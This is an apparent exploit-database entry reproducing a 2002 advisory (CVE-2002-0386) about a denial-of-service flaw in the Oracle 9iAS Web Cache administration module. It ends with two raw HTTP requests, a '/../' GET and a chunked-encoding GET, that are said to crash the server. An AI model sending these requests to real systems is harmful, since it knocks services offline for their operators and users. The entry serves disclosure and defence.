Oracle 9i Application Server 9.0.2 Web Cache Administration Tool - Denial of Service

Author: @stake
type: dos
platform: multiple
port: 
date_added: 2002-10-06 
date_updated: 2012-10-11 
verified: 1 
codes: CVE-2002-0386;OSVDB-9464 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/5902/info

Oracle 9i Application Server (9iAS) allows remote administration via a web access module. This vulnerability affects Oracle 9iAS running on Microsoft Windows.

When a custom request is sent to the Web Administration module, the module may react unpredictably. By sending a malicious custom request to the module, it is possible to cause the administration server to crash. A manual restart of the server is required to resume service.

GET /../ HTTP/1.1
host: hostname
<ENTER>
<ENTER>

GET /example.html/ HTTP/1.1
host: host name
Transfer-Encoding: chunked
<ENTER>
<ENTER>